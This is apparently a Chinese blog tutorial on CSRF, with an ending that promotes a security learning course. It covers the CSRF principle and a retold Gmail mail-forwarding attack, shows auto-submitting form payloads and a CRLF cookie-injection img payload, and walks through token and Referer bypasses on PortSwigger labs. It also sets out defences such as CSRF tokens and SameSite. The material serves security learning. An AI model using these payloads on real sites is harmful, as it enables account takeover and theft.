1 什么是 CSRF
面试的时候的著名问题:“谈一谈你对 CSRF 与 SSRF 区别的看法”
这个问题,如果我们用非常通俗的语言讲的话,CSRF 更像是钓鱼的举动,是用户攻击用户的;而对于 SSRF 来说,是由服务器发出请求,用户日服务器的。
CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
在 Port 中,原理图是这样的
我们在学习 CSRF 攻击之前好好先阐述一下它的原理
一个典型的CSRF攻击有着如下的流程:
-
受害者登录 a.com,并保留了登录凭证(Cookie)。
-
攻击者引诱受害者访问了 b.com。
-
b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带 a.com 的 Cookie。
-
a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
-
a.com 以受害者的名义执行了 act=xx。
-
攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作。
是不是感觉这个工作流程和 XSS 有些类似,但是 XSS 与 CSRF 的最大区别在于对 Cookie 的使用,XSS 的把受害者 的 Cookie 偷盗过来,而 CSRF 则是借用了受害者的 Cookie。
下面我们举个例子深化一下 CSRF 的原理。
2 CSRF 实战场景(原理应用)
本段内容摘自美团技术团队文章
这一天,小明同学百无聊赖地刷着 Gmail 邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:
甩卖比特币,一个只要998!!
聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生……
在这平静的外表之下,黑客的攻击已然得手。小明的 Gmail 中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到 hacker@hackermail.com(也就是攻击方的邮箱)。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。
不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始觉得不太对劲。
小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script> document.forms[0].submit(); </script>
代码解析 ———— 这也是我们后续要讲到的 CSRF Poc
这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。
小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。
黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。
这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。
小明由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小明的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登录凭证,于是成功给小明配置了过滤器。
黑客可以查看小明的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。
【如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部教程
3/ CSRF 的攻击方式
上文中,我们明晰了一下 CSRF 的攻击原理,下面我们主讲漏洞挖掘。
1. GET 请求产生的 CSRF
GET 请求产生的 CSRF 较为简单,有 href 攻击的方式与 HTTP 请求的方式。
GET 请求的 href 类 CSRF
<a href="http://bank.com/transfer?account\_number\_from=123456789&account\_number\_to=987654321&amount=100000">View my Pictures!</a>
在已经登录了bank.com的情况下,当我们点击 “View my Pictures” 这一链接时,就会将钱从一个账户转移到另一个账户,数额为 100000
GET 请求的 HTTP 发包 CSRF
一般会这样利用:

在受害者访问含有这个img的页面后,浏览器会自动向
http://bank.example/withdraw/account=xiaoming&amount=10000&for=hacker发出一次 HTTP 请求。在攻击者接收到请求的时候我们便可以“借用”对方的 Cookie。
2. POST 请求产生的 CSRF
POST 请求所产生的 CSRF 是我们利用地最多的攻击方式。
这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单。
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
访问该页面后,表单会自动提交,相当于模拟用户完成了一次 POST 操作。
POST 类型的攻击通常比 GET 要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许 POST 上面。
这里可以通过 Burpsuite 自带的 CSRF Poc 工具进行攻击,不过在使用的时候也有一些小技巧。
基础的 CSRF 攻击体验
对应可以尝试的靶场,在这靶场当中,并没有添加任意的 CSRF 防御
因为 CSRF 本质上是一种钓鱼,所以我们也需要第三方网站攻击,如自己的服务器,或者 Burpsuite 靶场自带的 Exploit server;WebGoat 的 WebWolf。
我们先登录进靶场当中,发现有一功能点 ———— Update email
试想一下,我们账号进行了 Update email 的操作。
若我们在自己的服务器上面挂上恶意的 Payload,诱导他人点击之后。相对应的,对方的邮箱也会变成我们 CSRF Poc 所指定的,这样子一来,我就可以通过 “忘记密码” 这种服务来获取他账户的权限了。(当然这里有个前提,对方是登录过的且 Cookie 处于生效期间)
Exploit 部分
用 Burpsuite 自带的 CSRF Poc 构造出基本框架;
然后我们把这个核心的表单拿出来,并加以修改,构造成最后的 POC
<form method="$method" action="$url">
<input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
document.forms[0].submit();
</script>
再放入到 Exploit Server 当中,点击 Deliver it to victim 即可。
在对方未对 CSRF 进行任何防御的时候,上述两种 CSRF 攻击方式能够通杀。
懂其攻 -> 知其守
我们现在已经知道 CSRF 攻击方式了,接下来着重讲一讲 CSRF 的防御手段以及绕过方式。
4/ CSRF 的防御手段
主流的 CSRF 防御手段有以下两种
ban 掉不明域外访问 ———— 使用同源检测与 Samesite Cookie
多加一层验证手段 CSRF Token
1. 接近无敌的防御手法 CSRF Token
如果通俗易懂地解释一下 CSRF Token 的工作原理的话是这样的。
CSRF Token 每随着页面被操作,Token 都会改变,比如 f5 刷新,点击按钮等等,都会导致 CSRF Token 变化。
而每一个请求的 CSRF Token 会通过后端代码验证 Token 的有效性 ———— 是否正确,在时间戳上是否有效,如果加密字符串一致且时间未过期,那么这个Token就是有效的。
以 Java 为例,我们介绍一下 CSRF Token 服务端的校验逻辑
HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession();
// 从 session 中得到 csrftoken 属性
String sToken = (String)s.getAttribute(“csrftoken”); if(sToken == null) {
// 产生新的 token 放入 session 中
sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response);
}
else {
// 从 HTTP 头中取得 csrftoken
String xhrToken = req.getHeader(“csrftoken”);
// 从请求参数中取得 csrftoken
String pToken = req.getParameter(“csrftoken”);
if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){
chain.doFilter(request, response);
}
else if(sToken != null && pToken != null && sToken.equals(pToken)){
chain.doFilter(request, response);
}
else
{ request.getRequestDispatcher(“error.jsp”).forward(request,response);
}
}
2. 用的较少的限制同源
Samesite 是 Set-Cookie 的一种属性,它有三个值
Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
还有一种属性为None,这种属性代表关闭了SameSite
一般攻击要进行绕过可以尝试将 SameSite 设置为 None
这种方法的原理也比较简单,因为 CSRF 的本质也是钓鱼,比如我通过邮箱发送钓鱼邮件,那么这时候的 “源” 就是邮箱界面。
如果服务器设置了严格的同源政策,将不接收来自邮箱这一 “源” 的请求。
ok,讲完了常规的防御手段,接下来我们聊聊绕过
5/ 针对 CSRF Token 与同源政策的绕过手段
我们的绕过手段是基于 CSRF Token 或同源政策并不是那么严格的情况下,甚至某些时候由于设计的疏忽产生的逻辑漏洞。
若非特别提醒,以下所有靶场的业务点均处于 **“Update email”**下。
1. 将 POST 修改为 GET 请求进行绕过
靶场地址 Lab: CSRF where token validation depends on request method)
背后逻辑:
CSRF Token 在 POST 请求当中生效,且业务点并非完全限制请求为 POST 请求,从而给了攻击者进行绕过的机会。
探测方法:将 CSRF Token 删掉,并将 HTTP 请求修改为 GET 请求。
此时的回显为**“Missing parameter ‘csrf’”**,我们再将 HTTP 请求修改为 GET 请求,观察回显。
回显 302,代表我们可以用这种方式进行绕过,构造 Payload
2. 删除 CSRF Token 进行绕过
靶场地址 Lab: CSRF where token validation depends on token being present
背后逻辑:
并没有强验证 CSRF Token 的存在性。
我们尝试删除 CSRF Token,回显 302
在删除掉 CSRF Token 之后生成 POC 即可。
3. CSRF Token 未与用户 Session 绑定
靶场地址 Lab: CSRF where token is not tied to user session
背后逻辑
未进行严格的一一身份对应,这其实很好理解。举个例子,我们登录注册界面,实际上是需要去匹配用户名与密码是否相等的,而这里的逻辑也是一致。
那么这里,我可以先修改 Cookie,再修改 CSRF Token,来观察 CSRF Token 与 Cookie 是否对应了,或者说是否绑定了。
修改 Cookie 中的 Session 值,观察回显为 “Unauthorized”
修改 CSRF Token,观察回显为 “Invalid CSRF Token”
说明 CSRF Token 并未与 session 绑定,而是与 csrfKey(也就是 value) 绑定的,根据 cookie 的传递性,我们可以在其他页面提前把 csrfKey 注入进去,这里我们利用img与onerror组合的 XSS 以及 CLRF 技术来构造 CSRF。
这里借用梨子师傅的 Poc
当受害者点击 CSRF 链接时会先触发 CLRF 注入 Set-Cookie 参数值,将 csrfKey 值添加到 Cookie 中,然后再用附有与 csrfKey 对应的 CSRF Token 的请求去提交修改邮箱请求。
4. 当 Cookie 中的 CSRF 值与 CSRF Token 的值一致时
靶场地址 Lab: CSRF where token is duplicated in cookie
背后逻辑:
只是将 CSRF Token 简单复制到 cookie 头中,然后仅验证两者是否一致。
所以这里我们的绕过 Poc 的核心部分应该是这样的,%0d%0a为,也就是 CR 与 LF
<img src="url/?search=test%0d%0aSet-Cookie:%20csrf=jVDOkLRjgEe41xJlURwUeAIcDet4Cier" onerror="document.forms[0].submit();"/>
5. 对不严格的 Referer 限制进行绕过
靶场地址 Lab: CSRF with broken Referer validation
背后逻辑
并没有特别严格地限制 Referer,仅仅只是不允许了这一种的 Referer。
Referer: 靶场地址.com
// 下面是非法的
Referer: baidu.com
一般我们通过Referer: baidu.com来判断 Referer 的限制。
若Referer: baidu.com被限制,则我们可以通过这种方式进行绕过
http://attacker-website.com/csrf-attack?baidu.com
靶场部分,同样是对更改邮箱这个功能点进行 CSRF 攻击
这里我们需要介绍一下history.pushState,这个函数顾名思义,就是插入历史记录的,所以这也就是为什么第三个参数的值修改为与攻击链接同源后即可绕过错误地 Referer 头验证机制,所以我们这样构造 CSRF 页面。
我们先修改 Referer 为 baidu.com 查看回显,成功发包。
修改 Referer 为baidu.com+?laburl,回显为 302 成功。
构造 Payload,将history.pushState的第三个参数修改为 Lab 的 URL 地址。投放之后,在 Head 当中添加Referrer-Policy: unsafe-url
6/ 小结
CSRF 攻击本质上还是一种钓鱼手段,本文着重讲了一些 CSRF 攻击的绕过手法,说不定渗透的时候多试一试就能起到意想不到的效果。
网络安全入门学习路线
其实入门网络安全要学的东西不算多,也就是网络基础+操作系统+中间件+数据库,四个流程下来就差不多了。
1.网络安全法和了解电脑基础
其中包括操作系统Windows基础和Linux基础,标记语言HTML基础和代码JS基础,以及网络基础、数据库基础和虚拟机使用等…
别被这些看上去很多的东西给吓到了,其实都是很简单的基础知识,同学们看完基本上都能掌握。计算机专业的同学都应该接触了解过,这部分可以直接略过。没学过的同学也不要慌,可以去B站搜索相关视频,你搜关键词网络安全工程师会出现很多相关的视频教程,我粗略的看了一下,排名第一的视频就讲的很详细。
当然你也可以看下面这个视频教程仅展示部分截图:
学到http和https抓包后能读懂它在说什么就行。
2.网络基础和编程语言
3.入手Web安全
web是对外开放的,自然成了的重点关照对象,有事没事就来入侵一波,你说不管能行吗!
想学好Web安全,咱首先得先弄清web是怎么搭建的,知道它的构造才能精准打击。所以web前端和web后端的知识多少要了解点,然后再学点python,起码得看懂部分代码吧。
最后网站开发知识多少也要了解点,不过别紧张,只是学习基础知识。
等你用几周的时间学完这些,基本上算是具备了入门合格渗透工程师的资格,记得上述的重点要重点关注哦!
再就是,要正式进入web安全领域,得学会web渗透,OWASP TOP 10等常见Web漏洞原理与利用方式需要掌握,像SQL注入/XSS跨站脚本攻击/Webshell木马编写/命令执行等。
这个过程并不枯燥,一边打怪刷级一边成长岂不美哉,每个攻击手段都能让你玩得不亦乐乎,而且总有更猥琐的方法等着你去实践。
学完web渗透还不算完,还得掌握相关系统层面漏洞,像ms17-010永恒之蓝等各种微软ms漏洞,所以要学习后渗透。可能到这里大家已经不知所云了,不过不要紧,等你学会了web渗透再来看会发现很简单。
其实学会了这几步,你就正式从新手小白晋升为入门学员了,真的不算难,你上你也行。
4.安全体系
不过我们这个水平也就算个渗透测试工程师,也就只能做个基础的安全服务,而这个领域还有很多业务,像攻防演练、等保测评、风险评估等,我们的能力根本不够看。
所以想要成为一名合格的网络工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实自己的技能就会被淘汰。
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
尾言
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,最后联合优快云整理了一套【282G】网络安全从入门到精通资料包,需要的小伙伴可以点击链接领取哦!
如果你对网络安全入门感兴趣,那么你点击这里👉优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享